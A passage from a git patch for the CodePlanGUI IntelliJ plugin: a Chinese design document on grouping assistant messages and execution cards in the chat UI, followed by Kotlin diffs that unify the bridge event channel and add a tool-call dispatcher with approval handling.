"assistant") return state + + const group = lastGroup as AssistantGroup + let newTextIndex = state.currentRoundTextIndex + + if (newTextIndex !== null && group.children[newTextIndex]?.kind === "text") { + // 追加到现有文本子项 + const updated = [...group.children] + updated[newTextIndex] = { + ...updated[newTextIndex], + content: (updated[newTextIndex] as TextChild).content + payload.text, + } + const groups = [...state.groups] + groups[groups.length - 1] = { ...group, children: updated } + return { ...state, groups } + } + + // 创建新文本子项 + const textChild: AssistantChild = { kind: "text", id: `text-${Date.now()}`, content: payload.text, isStreaming: true } + newTextIndex = group.children.length // 新追加子项的索引 + const groups = [...state.groups] + groups[groups.length - 1] = { ...group, children: [...group.children, textChild] } + return { ...state, groups, currentRoundTextIndex: newTextIndex } + } + + case "execution_card": { + return updateLastAssistant(state, group => ({ + ...group, + children: [...group.children, { + kind: "execution", + data: { requestId: payload.requestId, command: payload.command, status: "running" as ExecutionStatus }, + }], + })) + } + + case "log": { + return updateLastAssistant(state, group => ({ + ...group, + children: group.children.map(child => + child.kind === "execution" && child.data.requestId === payload.requestId + ? { ...child, data: { ...child.data, logs: [...(child.data.logs || []), { text: payload.line, type: payload.type }] } } + : child + ), + })) + } + + case "execution_status": { + const result = parseExecutionResultPayload(payload.result) + return updateLastAssistant(state, group => ({ + ...group, + children: group.children.map(child => + child.kind === "execution" && child.data.requestId === payload.requestId + ? { ...child, data: { ...child.data, status: payload.status, result } } + : child + ), + })) + } + + case "approval_request": { + return { + ...updateLastAssistant(state, group => ({ + ...group, + children: group.children.map(child => + child.kind === "execution" && child.data.requestId === payload.requestId + ? { ...child, data: { ...child.data, status: "waiting" } } + : child + ), + })), + approvalRequestId: payload.requestId, + approvalCommand: payload.command, + approvalDescription: payload.description, + approvalOpen: true, + } + } + + case "round_end": { + // 丢弃当前轮次的文本子项(tool_calls 之前的中间 token) + if (state.currentRoundTextIndex !== null) { + return updateLastAssistant({ + ...state, + currentRoundTextIndex: null, + }, group => ({ + ...group, + children: group.children.filter((_, i) => i !== state.currentRoundTextIndex), + })) + } + return state + } + + case "end": { + return updateLastAssistant({ + ...state, + isLoading: false, + continuationInfo: null, + currentRoundTextIndex: null, + }, group => ({ + ...group, + isStreaming: false, + children: group.children.map(child => + child.kind === "text" ? { ...child, isStreaming: false } : child + ), + })) + } + + case "error": { + const groups = state.groups.map(g => { + if (g.type === "assistant" && g.isStreaming) { + return { + ...g, + isStreaming: false, + children: g.children.map(child => + child.kind === "text" ? { ...child, isStreaming: false } : child + ), + } + } + return g + }) + return { + ...state, + isLoading: false, + continuationInfo: null, + currentRoundTextIndex: null, + groups, + error: { type: "runtime", message: payload.message }, + } + } + + case "structured_error": { + const groups = state.groups.map(g => { + if (g.type === "assistant" && g.isStreaming) { + return { + ...g, + isStreaming: false, + children: g.children.map(child => + child.kind === "text" ? { ...child, isStreaming: false } : child + ), + } + } + return g + }) + return { + ...state, + isLoading: false, + continuationInfo: null, + currentRoundTextIndex: null, + groups, + error: { type: payload.type, message: payload.message, action: payload.action }, + } + } + + case "continuation": + return { ...state, continuationInfo: { current: payload.current, max: payload.max } } + + case "restore_messages": + return { ...state, groups: restoreToGroups(JSON.parse(payload.messages)) } + + // 非消息事件直接透传 + case "status": + return { ...state, status: applyBridgeStatus(state.status, payload) } + case "context_file": + return { ...state, status: applyContextFile(state.status, payload.fileName) } + case "theme": + return { ...state, themeMode: payload.mode } + + default: + return state + } +} + +// 辅助函数:更新数组中最后一个 assistant 组 +function updateLastAssistant(state: GroupState, updater: (g: AssistantGroup) => AssistantGroup, extraState?: Partial): GroupState { + const lastIdx = findLastAssistantIndex(state.groups) + if (lastIdx === -1) return state + const groups = [...state.groups] + groups[lastIdx] = updater(groups[lastIdx] as AssistantGroup) + return { ...state, ...extraState, groups } +} +``` + +--- + +## 2.3 轮次 Token 丢弃行为 + +当轮次以 `round_end`(tool_calls)结束时,该轮次创建的任何文本子项都会被丢弃。Round 1 的 token 被丢弃,仅显示执行卡片 + Round 2 的最终回答。 + +典型工具调用回合的事件序列: + +``` +用户发送消息 + → 前端:创建 human 组 + +Round 1: + start(msgId) → 创建 assistant 组(或复用) + token("我来帮你...") → 追加文本子项(由 currentRoundTextIndex 跟踪) + execution_card(cmd1) → 追加执行子项 + execution_status(done) → 更新执行子项 + round_end(msgId) → 丢弃文本子项,保留执行子项 + +Round 2: + start(msgId) → 复用现有 assistant 组(isStreaming 仍为 true) + token("这是结果...") → 追加新文本子项 + end(msgId) → 结束组 + +结果:assistant 组 children = [execution_card_1, text("这是结果...")] +``` + +--- + +## 2.4 后端改动 + +**文件:** `ChatService.kt` + +**移除:** +- `bridgeNotifiedStart` 可变集合——不再需要 +- `onFinishReason` 中的 `notifyRemoveMessage` 调用(第 477 行)——不再需要 +- `onToken` 中的 lazy `notifyStart` 逻辑(第 422-425 行)——`notifyStart` 现在在轮次开始时无条件发送 + +**新增:** +- 当 `finish_reason = "tool_calls"` 时调用 `notifyRoundEnd(msgId)`(替代 `notifyRemoveMessage` 块) +- 在 `startStreamingRound()` 开头调用 `notifyStart(msgId)`(当前是延迟的) + +**简化后的 `onFinishReason("tool_calls")`:** + +```kotlin +// 改动前(hack 方式) +if (msgId in bridgeNotifiedStart) { + bridgeHandler?.notifyRemoveMessage(msgId) + bridgeNotifiedStart.remove(msgId) +} +scope.launch { handleToolCallComplete(msgId, capturedBuffer) } + +// 改动后(干净方式) +bridgeHandler?.notifyRoundEnd(msgId) +scope.launch { handleToolCallComplete(msgId, capturedBuffer) } +``` + +**简化后的 `onToken`(不再有延迟初始化):** + +```kotlin +onToken = { token -> + if (activeMessageId == msgId) { + responseBuffer.append(token) + // 无延迟 notifyStart 检查——start 已在前面发送 + bridgeHandler?.notifyToken(token) + } +} +``` + +**`startStreamingRound()` 现在在顶部发送 `notifyStart`:** + +```kotlin +private fun startStreamingRound(msgId: String, request: Request, toolsEnabled: Boolean) { + bridgeHandler?.notifyStart(msgId) // 无条件发送 + // ... 其余不变 +} +``` + +**时序考虑:** 当前工具未启用时,`notifyStart` 从 `sendMessage()` 发送(HTTP 请求之前)。移到 `startStreamingRound()` 意味着它稍后触发(请求构建之后)。这是可接受的,因为前端在响应 `start` 时创建 assistant 组,而 `sendMessage()` 和 `startStreamingRound()` 之间的延迟可忽略(无网络往返——仅对象构建)。不会出现可见的空气泡闪烁。 + +--- + +## 2.5 渲染 + +**新文件:** `components/AssistantGroup.tsx` + +```tsx +function AssistantGroup({ group }: { group: AssistantGroup }) { + return ( +
+ {group.children.map(child => { + if (child.kind === "execution") { + return + } + return ( +
+
+
+ assistant + +
+ + {child.isStreaming && } +
+
+ ) + })} +
+ ) +} +``` + +`AssistantMarkdown` 从 `MessageBubble.tsx` 中提取当前的 markdown 渲染逻辑(`useEffect` 中的 `marked.parse` + `DOMPurify.sanitize` + 代码块复制按钮)。 + +**用户消息渲染** 变为更简单的组件,因为 `MessageBubble` 不再需要处理 `role === "execution"`: + +```tsx +{groups.map(group => { + if (group.type === "human") { + return ( +
+
+ {group.message.content} +
+
+ ) + } + return +})} +``` + +**执行卡片自动折叠:** 已在 `ExecutionCard.tsx` 中实现(`LogOutput` 在 `isStreaming` 从 true 变为 false 时自动折叠)。无需改动。 + +**加载指示器简化:** + +```tsx +// 改动前:两个独立条件 +{(continuationInfo) && } +{(!continuationInfo && isLoading && !messages.some(m => m.isStreaming) && messages.some(m => m.role === "execution")) && } + +// 改动后:单一条件 +{isLoading && } +``` + +由于 `isStreaming` 现在在组级别,前端始终知道当前回合是否仍在进行。 + +--- + +## 2.6 会话持久化 + +**后端:** `SessionStore.kt` 不变——仍存储 `Message[]` 扁平数组(仅用户 + 助手消息,无执行数据)。 + +**前端恢复:** `restoreToGroups()` 将扁平消息转换为分组结构: + +```typescript +function restoreToGroups(flat: Array<{id: string; role: string; content: string}>): MessageGroup[] { + const groups: MessageGroup[] = [] + let currentAssistant: AssistantGroup | null = null + + for (const msg of flat) { + if (msg.role !== "user" && msg.role !== "assistant") continue + if (msg.role === "assistant" && msg.content.trim().length === 0) continue + + if (msg.role === "user") { + if (currentAssistant) { groups.push(currentAssistant); currentAssistant = null } + groups.push({ type: "human", id: msg.id, message: { id: msg.id, content: msg.content } }) + } else { + if (!currentAssistant) currentAssistant = { type: "assistant", id: msg.id, children: [], isStreaming: false } + currentAssistant.children.push({ kind: "text", id: `text-${msg.id}`, content: msg.content, isStreaming: false }) + } + } + if (currentAssistant) groups.push(currentAssistant) + return groups +} +``` + +--- + +## 2.7 改动总结 + +| 文件 | 改动 | +|---|---| +| `ChatService.kt` | 移除 `bridgeNotifiedStart`,移除 `notifyRemoveMessage`,新增 `notifyRoundEnd` 调用,无条件发送 `notifyStart` | +| `BridgeHandler.kt` | 无新改动(Phase 1 已添加 `notifyRoundEnd`) | +| `App.tsx` | 状态从 `messages` → `groups`;用 `groupReducer` 替换 `eventReducer`;简化渲染循环和加载指示器 | +| 新增:`groupReducer.ts` | 替换 `eventReducer.ts`;将事件映射到组状态 | +| 新增:`components/AssistantGroup.tsx` | 渲染 assistant 组(执行卡片 + 文本) | +| 新增:`components/AssistantMarkdown.tsx` | 从 `MessageBubble.tsx` 提取的 markdown 渲染 | +| `MessageBubble.tsx` | 简化为仅用户使用(或移除,内联到 App.tsx 渲染中) | +| `types/bridge.d.ts` | 新增 `MessageGroup` 和 `AssistantChild` 类型 | + +--- + +## 2.8 可移除内容 + +Phase 2 完成后,以下内容可以清理: + +| 内容 | 原因 | +|---|---| +| BridgeHandler 中的 `notifyRemoveMessage` | 不再调用;组处理排序 | +| ChatService 中的 `bridgeNotifiedStart` | 不再需要;`notifyStart` 无条件发送 | +| ChatService `onToken` 中的延迟气泡创建逻辑 | 不再需要 | +| `remove_message` 事件类型 | 不再发送 | +| `Message` 类型中的 `role: "execution"` | 执行卡片存在于 `AssistantChild` 中 | +| `eventReducer.ts` | 被 `groupReducer.ts` 替代 | + +--- + +## 部署清单 + +1. 创建 `MessageGroup` 和 `AssistantChild` 类型 +2. 创建 `groupReducer.ts`(替代 `eventReducer.ts`) +3. 创建 `AssistantGroup.tsx` 和 `AssistantMarkdown.tsx` +4. 更新 `App.tsx` 状态(`messages` → `groups`)和渲染 +5. 简化 `ChatService.kt`(移除 hack,新增 `notifyRoundEnd` 调用,无条件 `notifyStart`) +6. **测试验证:** + - 工具调用流程:执行卡片在最终文本之前,无 `notifyRemoveMessage` + - 多轮工具调用:正确分组在同一个 assistant 组内 + - 执行卡片自动折叠:运行时展开,完成后自动折叠 + - 会话恢复:历史消息正确转换为分组结构 + +## 回滚安全性 + +本阶段的后端改动(移除 hack)和前端改动(分组渲染)可以一起回滚。回滚后恢复 Phase 1 的扁平渲染,统一事件通道不受影响。 diff --git a/src/main/kotlin/com/github/codeplangui/BridgeHandler.kt b/src/main/kotlin/com/github/codeplangui/BridgeHandler.kt index 4c2422c..4603895 100644 --- a/src/main/kotlin/com/github/codeplangui/BridgeHandler.kt +++ b/src/main/kotlin/com/github/codeplangui/BridgeHandler.kt @@ -7,6 +7,9 @@ import com.intellij.ui.jcef.JBCefJSQuery import kotlinx.serialization.Serializable import kotlinx.serialization.encodeToString import kotlinx.serialization.json.Json +import kotlinx.serialization.json.JsonObjectBuilder +import kotlinx.serialization.json.JsonPrimitive +import kotlinx.serialization.json.buildJsonObject import org.cef.browser.CefBrowser import org.cef.browser.CefFrame import org.cef.handler.CefLoadHandlerAdapter @@ -190,21 +193,7 @@ class BridgeHandler( debugLog: function(text) { ${sendQuery.inject("""JSON.stringify({type:'debugLog',text:text})""")} }, - onStart: function(msgId) {}, - onToken: function(token) {}, - onEnd: function(msgId) {}, - onError: function(message) {}, - onStatus: function(status) {}, - onContextFile: function(fileName) {}, - onTheme: function(theme) {}, - onApprovalRequest: function(requestId, command, description) {}, - onExecutionCard: function(requestId, command, description) {}, - onLog: function(msgId, logLine, type) {}, - onExecutionStatus: function(requestId, status, result) {}, - onRestoreMessages: function(messages) {}, - onStructuredError: function(error) {}, - onContinuation: function(current, max) {}, - onRemoveMessage: function(msgId) {} + onEvent: function(type, payloadJson) {} }; document.dispatchEvent(new Event('bridge_ready')); """.trimIndent() @@ -233,62 +222,80 @@ class BridgeHandler( }, browser.cefBrowser) } - fun notifyStart(msgId: String) = flushAndPush("window.__bridge.onStart(${msgId.quoted()})") + fun notifyStart(msgId: String) = + flushAndPush(buildEventJS("start") { put("msgId", JsonPrimitive(msgId)) }) - fun notifyToken(token: String) = enqueueJS("window.__bridge.onToken(${json.encodeToString(token)})") + fun notifyToken(token: String) = + enqueueJS(buildEventJS("token") { put("text", JsonPrimitive(token)) }) - fun notifyEnd(msgId: String) = flushAndPush("window.__bridge.onEnd(${msgId.quoted()})") + fun notifyEnd(msgId: String) = + flushAndPush(buildEventJS("end") { put("msgId", JsonPrimitive(msgId)) }) - fun notifyError(message: String) = flushAndPush("window.__bridge.onError(${json.encodeToString(message)})") + fun notifyError(message: String) = + flushAndPush(buildEventJS("error") { put("message", JsonPrimitive(message)) }) fun notifyStructuredError(error: BridgeErrorPayload) = - flushAndPush("window.__bridge.onStructuredError(${json.encodeToString(error)})") + flushAndPush(buildEventJS("structured_error") { + put("type", JsonPrimitive(error.type)) + put("message", JsonPrimitive(error.message)) + error.action?.let { put("action", JsonPrimitive(it)) } + }) fun notifyStatus(status: BridgeStatusPayload) = - flushAndPush("window.__bridge.onStatus(${json.encodeToString(status)})") + flushAndPush(buildEventJS("status") { + put("providerName", JsonPrimitive(status.providerName)) + put("model", JsonPrimitive(status.model)) + put("connectionState", JsonPrimitive(status.connectionState)) + }) fun notifyContextFile(fileName: String) = - pushJS("window.__bridge.onContextFile(${json.encodeToString(fileName)})") + pushJS(buildEventJS("context_file") { put("fileName", JsonPrimitive(fileName)) }) fun notifyTheme(theme: String) = - pushJS("window.__bridge.onTheme(${json.encodeToString(theme)})") + pushJS(buildEventJS("theme") { put("mode", JsonPrimitive(theme)) }) fun notifyLog(msgId: String, logLine: String, type: String) = - enqueueJS( - "window.__bridge.onLog(" + - "${json.encodeToString(msgId)}," + - "${json.encodeToString(logLine)}," + - "${json.encodeToString(type)})" - ) + enqueueJS(buildEventJS("log") { + put("requestId", JsonPrimitive(msgId)) + put("line", JsonPrimitive(logLine)) + put("type", JsonPrimitive(type)) + }) fun notifyExecutionCard(requestId: String, command: String, description: String) = - flushAndPush( - "window.__bridge.onExecutionCard(" + - "${json.encodeToString(requestId)}," + - "${json.encodeToString(command)}," + - "${json.encodeToString(description)})" - ) + flushAndPush(buildEventJS("execution_card") { + put("requestId", JsonPrimitive(requestId)) + put("command", JsonPrimitive(command)) + put("description", JsonPrimitive(description)) + }) fun notifyApprovalRequest(requestId: String, command: String, description: String) = - flushAndPush( - "window.__bridge.onApprovalRequest(" + - "${json.encodeToString(requestId)}," + - "${json.encodeToString(command)}," + - "${json.encodeToString(description)})" - ).also { + flushAndPush(buildEventJS("approval_request") { + put("requestId", JsonPrimitive(requestId)) + put("command", JsonPrimitive(command)) + put("toolInput", JsonPrimitive(command)) + put("description", JsonPrimitive(description)) + }).also { logger.info( "[CodePlanGUI Bridge] ide->frontend approvalRequest " + "requestId=$requestId command=${command.summarizeForLog()} description=${description.summarizeForLog()}" ) } + fun notifyFileChangeAuto(path: String, added: Int, removed: Int) = + flushAndPush(buildEventJS("file_change_auto") { + put("path", JsonPrimitive(path)) + put("stats", buildJsonObject { + put("added", JsonPrimitive(added)) + put("removed", JsonPrimitive(removed)) + }) + }) + fun notifyExecutionStatus(requestId: String, status: String, resultJson: String) = - flushAndPush( - "window.__bridge.onExecutionStatus(" + - "${json.encodeToString(requestId)}," + - "${json.encodeToString(status)}," + - "${json.encodeToString(resultJson)})" - ).also { + flushAndPush(buildEventJS("execution_status") { + put("requestId", JsonPrimitive(requestId)) + put("status", JsonPrimitive(status)) + put("result", JsonPrimitive(resultJson)) + }).also { logger.info( "[CodePlanGUI Bridge] ide->frontend executionStatus " + "requestId=$requestId status=$status result=${resultJson.summarizeForLog(240)}" @@ -296,13 +303,48 @@ class BridgeHandler( } fun notifyRestoreMessages(messages: String) = - flushAndPush("window.__bridge.onRestoreMessages(${json.encodeToString(messages)})") + flushAndPush(buildEventJS("restore_messages") { put("messages", JsonPrimitive(messages)) }) fun notifyContinuation(current: Int, max: Int) = - pushJS("window.__bridge.onContinuation($current, $max)") + pushJS(buildEventJS("continuation") { + put("current", JsonPrimitive(current)) + put("max", JsonPrimitive(max)) + }) fun notifyRemoveMessage(msgId: String) = - flushAndPush("window.__bridge.onRemoveMessage(${msgId.quoted()})") + flushAndPush(buildEventJS("remove_message") { put("msgId", JsonPrimitive(msgId)) }) + + fun notifyRoundEnd(msgId: String) = + flushAndPush(buildEventJS("round_end") { put("msgId", JsonPrimitive(msgId)) }) + + fun notifyToolStepStart(msgId: String, requestId: String, toolName: String, summary: String) = + flushAndPush(buildEventJS("tool_step_start") { + put("msgId", JsonPrimitive(msgId)) + put("requestId", JsonPrimitive(requestId)) + put("toolName", JsonPrimitive(toolName)) + put("summary", JsonPrimitive(summary)) + }) + + fun notifyToolStepEnd(msgId: String, requestId: String, status: Boolean, output: String, durationMs: Long, diffStats: String? = null) = + flushAndPush(buildEventJS("tool_step_end") { + put("msgId", JsonPrimitive(msgId)) + put("requestId", JsonPrimitive(requestId)) + put("status", JsonPrimitive(status)) + put("output", JsonPrimitive(output)) + put("durationMs", JsonPrimitive(durationMs)) + if (diffStats != null) put("diffStats", JsonPrimitive(diffStats)) + }) + + /** + * Build a JS call that dispatches a unified event through `window.__bridge.onEvent(type, payloadJson)`. + * The payload is built using kotlinx.serialization's `buildJsonObject` for safe JSON encoding. + * Only generates the JS string — the caller decides the dispatch strategy (enqueueJS / flushAndPush / pushJS). + */ + private fun buildEventJS(type: String, builderAction: JsonObjectBuilder.() -> Unit): String { + val obj = buildJsonObject(builderAction) + val payloadStr = obj.toString() + return "window.__bridge.onEvent(${type.quoted()}, ${json.encodeToString(payloadStr)})" + } /** * Enqueue a streamable JS call (token / log line) for batch delivery. @@ -338,9 +380,13 @@ class BridgeHandler( if (flushPending.compareAndSet(false, true)) { flushTimer.schedule(object : TimerTask() { override fun run() { - flushPendingBuffer() + val hasMore: Boolean + synchronized(flushLock) { + flushPendingBuffer() + hasMore = pendingJs.isNotEmpty() + } flushPending.set(false) - if (pendingJs.isNotEmpty()) { + if (hasMore) { scheduleFlush() } } @@ -353,16 +399,18 @@ class BridgeHandler( * Called from the flush timer thread or from [flushAndPush]. */ internal fun flushPendingBuffer() { + val batch: List synchronized(flushLock) { - val batch = mutableListOf() - while (true) { - val item = pendingJs.poll() ?: break - batch.add(item) - } - if (batch.isNotEmpty()) { - executeJS(batch.joinToString(";")) + batch = buildList { + while (true) { + val item = pendingJs.poll() ?: break + add(item) + } } } + if (batch.isNotEmpty()) { + executeJS(batch.joinToString(";")) + } } private fun pushJS(js: String) { diff --git a/src/main/kotlin/com/github/codeplangui/ChatService.kt b/src/main/kotlin/com/github/codeplangui/ChatService.kt index 1e5ee28..b84b9a2 100644 --- a/src/main/kotlin/com/github/codeplangui/ChatService.kt +++ b/src/main/kotlin/com/github/codeplangui/ChatService.kt @@ -8,7 +8,14 @@ import com.github.codeplangui.api.TruncationDecision import com.github.codeplangui.api.TruncationHandler import com.github.codeplangui.execution.CommandExecutionService import com.github.codeplangui.execution.ExecutionResult +import com.github.codeplangui.execution.FileChangeReview +import com.github.codeplangui.execution.FileWriteLock +import com.github.codeplangui.execution.PendingToolCall import com.github.codeplangui.execution.ShellPlatform +import com.github.codeplangui.execution.ToolCallDispatcher +import com.github.codeplangui.execution.ToolRegistry +import com.github.codeplangui.execution.ToolSpecs +import com.github.codeplangui.execution.hooks.ToolExecutionLogger import com.github.codeplangui.model.ChatSession import com.github.codeplangui.model.Message import com.github.codeplangui.model.MessageRole @@ -72,6 +79,16 @@ class ChatService(private val project: Project) : Disposable { private val pendingApprovals = ConcurrentHashMap>() private val pendingApprovalCommands = ConcurrentHashMap() + // Unified tool system (new) + private val toolRegistry = ToolRegistry(this) + private val fileChangeReview = FileChangeReview() + private val fileWriteLock = FileWriteLock() + private val dispatcher = ToolCallDispatcher(toolRegistry, fileChangeReview, fileWriteLock, project).also { + it.addHook(ToolExecutionLogger()) + // Register built-in tools + toolRegistry.addTools(ToolSpecs().allSpecs()) + } + // Tracks which msgIds have had notifyStart sent to the frontend // When tools are enabled, notifyStart is deferred until the final response round // so ExecutionCards appear before the assistant bubble @@ -138,6 +155,7 @@ class ChatService(private val project: Project) : Disposable { val settingsState = settings.getState() val commandExecutionEnabled = settingsState.commandExecutionEnabled + val unifiedTools = settingsState.unifiedToolsEnabled && commandExecutionEnabled val contextSnapshot = if (includeContext && settingsState.contextInjectionEnabled) { capturePromptContextSnapshot() @@ -175,15 +193,12 @@ class ChatService(private val project: Project) : Disposable { temperature = settingsState.chatTemperature, maxTokens = settingsState.chatMaxTokens, stream = true, - tools = if (commandExecutionEnabled) listOf(runCommandToolDefinition()) else null + tools = if (unifiedTools) dispatcher.buildToolsParam() + else if (commandExecutionEnabled) listOf(runCommandToolDefinition()) + else null ) - // When tools are enabled, defer notifyStart so ExecutionCards appear before the assistant bubble. - // The bubble is created only on the final response round (no tool calls). - if (!commandExecutionEnabled) { - bridgeHandler?.notifyStart(msgId) - bridgeNotifiedStart.add(msgId) - } + // notifyStart is now sent unconditionally in startStreamingRound() (Phase 2). startStreamingRound(msgId, request, toolsEnabled = commandExecutionEnabled) } @@ -194,7 +209,6 @@ class ChatService(private val project: Project) : Disposable { val msgId = activeMessageId activeMessageId = null if (wasStreaming && msgId != null) { - bridgeNotifiedStart.remove(msgId) publishStatus() bridgeHandler?.notifyEnd(msgId) } @@ -206,11 +220,11 @@ class ChatService(private val project: Project) : Disposable { activeMessageId = null truncationHandler.reset() resetToolCallState() - bridgeNotifiedStart.clear() session = ChatSession() pendingApprovals.values.forEach { it.complete(false) } pendingApprovals.clear() pendingApprovalCommands.clear() + dispatcher.resetSession() sessionStore.clearSession() contextFileCallback?.invoke("") publishStatus() @@ -243,6 +257,17 @@ class ChatService(private val project: Project) : Disposable { "[CodePlanGUI Approval] received frontend decision " + "requestId=$requestId decision=$decision addToWhitelist=$addToWhitelist hasPending=${pendingApprovals.containsKey(requestId)}" ) + + // Try unified dispatcher first (coroutine-based) + if (PluginSettings.getInstance().getState().unifiedToolsEnabled) { + if (addToWhitelist && decision == "allow") { + // Note: unified dispatcher doesn't use command-level whitelist the same way. + // For now, also handle via legacy path for backwards compatibility. + } + dispatcher.onApprovalResponse(requestId, decision) + } + + // Legacy path (CompletableFuture-based) if (addToWhitelist && decision == "allow") { val command = pendingApprovalCommands[requestId] if (command != null) { @@ -269,6 +294,81 @@ class ChatService(private val project: Project) : Disposable { } private suspend fun handleToolCallComplete(msgId: String, responseBuffer: StringBuilder) { + val settingsState = PluginSettings.getInstance().getState() + + if (settingsState.unifiedToolsEnabled) { + // New unified dispatcher path + handleToolCallCompleteUnified(msgId, responseBuffer) + } else { + // Legacy path + handleToolCallCompleteLegacy(msgId, responseBuffer) + } + } + + private suspend fun handleToolCallCompleteUnified(msgId: String, responseBuffer: StringBuilder) { + val accumulatedToolCalls = toolCallAccumulator.snapshot() + if (accumulatedToolCalls.isEmpty()) { + abortStream(msgId, "AI sent a tool_calls finish_reason but no tool call deltas were captured") + return + } + + val pendingCalls = accumulatedToolCalls.mapNotNull { accumulated -> + val toolCallId = accumulated.id ?: run { + abortStream(msgId, "AI sent a tool_calls finish_reason but tool call index ${accumulated.index} had no id") + return + } + PendingToolCall( + id = toolCallId, + name = accumulated.functionName ?: ShellPlatform.current().toolName(), + arguments = accumulated.argumentsJson, + index = accumulated.index + ) + } + + dispatcher.resetRound() + val results = dispatcher.dispatchAll(pendingCalls, msgId, bridgeHandler ?: return) + + // Build tool results for API + val toolCallRecords = results.map { (call, result) -> + ToolCallRecord( + id = call.id, + functionName = call.name, + arguments = call.arguments + ) + } + val toolResultContents = results.map { (_, result) -> + result.output + } + + // Add assistant message with tool_calls + session.add(Message( + role = MessageRole.ASSISTANT, + content = responseBuffer.toString(), + id = UUID.randomUUID().toString(), + seq = session.nextSeq(), + toolCalls = toolCallRecords + )) + + // Add tool result messages + results.forEach { (call, result) -> + session.add(Message( + role = MessageRole.TOOL, + content = result.output, + toolCallId = call.id, + id = UUID.randomUUID().toString(), + seq = session.nextSeq() + )) + } + persistSession() + + resetToolCallState() + responseBuffer.clear() + // Re-activate so startStreamingRound's onToken/onEnd callbacks work + activeMessageId = msgId + sendMessageInternal(msgId) + } + + private suspend fun handleToolCallCompleteLegacy(msgId: String, responseBuffer: StringBuilder) { val preparedToolCalls = prepareToolCallsForExecution(msgId) ?: return val state = PluginSettings.getInstance().getState() val completedToolCalls = mutableListOf() @@ -324,10 +424,9 @@ class ChatService(private val project: Project) : Disposable { resetToolCallState() responseBuffer.clear() - // Do NOT create the assistant bubble here — the next round might produce - // more tool calls. The bubble is created lazily in onToken and removed - // in onFinishReason("tool_calls") if tool calls follow, ensuring all - // execution cards appear before the final streaming bubble. + // The next round's startStreamingRound() will send notifyStart which + // the frontend's groupReducer handles by reusing the existing assistant + // group (still streaming). Intermediate tokens are discarded via round_end. sendMessageInternal(msgId) } @@ -335,17 +434,21 @@ class ChatService(private val project: Project) : Disposable { val pluginSettings = PluginSettings.getInstance() val provider = pluginSettings.getActiveProvider() ?: return val apiKey = ApiKeyStore.load(provider.id) ?: return - val commandExecutionEnabled = pluginSettings.getState().commandExecutionEnabled + val settingsState = pluginSettings.getState() + val commandExecutionEnabled = settingsState.commandExecutionEnabled + val unifiedTools = settingsState.unifiedToolsEnabled && commandExecutionEnabled logger.info("[CodePlanGUI Approval] starting follow-up model round msgId=$msgId") val request = client.buildRequest( config = provider, apiKey = apiKey, messages = session.getApiMessages(), - temperature = pluginSettings.getState().chatTemperature, - maxTokens = pluginSettings.getState().chatMaxTokens, + temperature = settingsState.chatTemperature, + maxTokens = settingsState.chatMaxTokens, stream = true, - tools = if (commandExecutionEnabled) listOf(runCommandToolDefinition()) else null + tools = if (unifiedTools) dispatcher.buildToolsParam() + else if (commandExecutionEnabled) listOf(runCommandToolDefinition()) + else null ) startStreamingRound(msgId, request, toolsEnabled = commandExecutionEnabled) @@ -399,7 +502,6 @@ $selection activeStream?.cancel() activeStream = null activeMessageId = null - bridgeNotifiedStart.remove(msgId) resetToolCallState() publishStatus() bridgeHandler?.notifyStructuredError(BridgeErrorPayload( @@ -409,6 +511,10 @@ $selection } private fun startStreamingRound(msgId: String, request: okhttp3.Request, toolsEnabled: Boolean) { + // Phase 2: notifyStart sent unconditionally — the frontend's groupReducer + // handles continuation rounds by reusing the existing assistant group. + bridgeHandler?.notifyStart(msgId) + val responseBuffer = StringBuilder() scope.launch { val stream = client.streamChat( @@ -416,27 +522,11 @@ $selection onToken = { token -> if (activeMessageId == msgId) { responseBuffer.append(token) - // Lazily create the assistant bubble on first token. - // If this round ends up producing tool_calls, onFinishReason will - // remove the bubble so execution cards stay in front. - if (msgId !in bridgeNotifiedStart) { - bridgeHandler?.notifyStart(msgId) - bridgeNotifiedStart.add(msgId) - } bridgeHandler?.notifyToken(token) } }, onEnd = { if (activeMessageId == msgId && !truncationHandler.isPendingContinuation) { - // If the bubble hasn't been started yet (no tool calls in this round), - // start it now and flush the buffered content. - if (msgId !in bridgeNotifiedStart) { - bridgeHandler?.notifyStart(msgId) - bridgeNotifiedStart.add(msgId) - if (responseBuffer.isNotEmpty()) { - bridgeHandler?.notifyToken(responseBuffer.toString()) - } - } logger.info("[CodePlanGUI Approval] model round completed msgId=$msgId") session.add(Message( role = MessageRole.ASSISTANT, @@ -447,7 +537,6 @@ $selection persistSession() activeStream = null activeMessageId = null - bridgeNotifiedStart.remove(msgId) publishStatus() bridgeHandler?.notifyEnd(msgId) } @@ -457,7 +546,6 @@ $selection logger.warn("[CodePlanGUI Approval] model round failed msgId=$msgId error=$message") activeStream = null activeMessageId = null - bridgeNotifiedStart.remove(msgId) publishStatus() bridgeHandler?.notifyStructuredError(classifyStreamError(message)) } @@ -469,13 +557,24 @@ $selection }, onFinishReason = { reason -> if (toolsEnabled && reason == "tool_calls" && activeMessageId == msgId) { - // Remove the assistant bubble if it was already created by the - // lazy init in onToken. This guarantees that execution cards - // (pushed during handleToolCallComplete) always appear before - // the final assistant bubble. - if (msgId in bridgeNotifiedStart) { - bridgeHandler?.notifyRemoveMessage(msgId) - bridgeNotifiedStart.remove(msgId) + val isUnified = PluginSettings.getInstance().getState().unifiedToolsEnabled + if (isUnified) { + // Unified path: create the assistant bubble for tool steps only. + // Do NOT flush round-1 text — the formal response streams after tools complete. + if (msgId !in bridgeNotifiedStart) { + bridgeHandler?.notifyStart(msgId) + bridgeNotifiedStart.add(msgId) + } + // Clear activeMessageId to prevent onEnd from finalizing this message + // — the follow-up round will continue appending to it. + activeMessageId = null + } else { + // Legacy path: remove the assistant bubble so execution cards appear before + // the final assistant bubble. + if (msgId in bridgeNotifiedStart) { + bridgeHandler?.notifyRemoveMessage(msgId) + bridgeNotifiedStart.remove(msgId) + } } val capturedBuffer = responseBuffer scope.launch { handleToolCallComplete(msgId, capturedBuffer) } @@ -726,6 +825,7 @@ $selection pendingApprovals.clear() pendingApprovalCommands.clear() bridgeNotifiedStart.clear() + toolRegistry.dispose() scope.cancel() } diff --git a/src/main/kotlin/com/github/codeplangui/execution/ExecutionResult.kt b/src/main/kotlin/com/github/codeplangui/execution/ExecutionResult.kt index 74ed1b3..28574c1 100644 --- a/src/main/kotlin/com/github/codeplangui/execution/ExecutionResult.kt +++ b/src/main/kotlin/com/github/codeplangui/execution/ExecutionResult.kt @@ -35,4 +35,19 @@ sealed class ExecutionResult { kotlinx.serialization.json.Json.encodeToString( 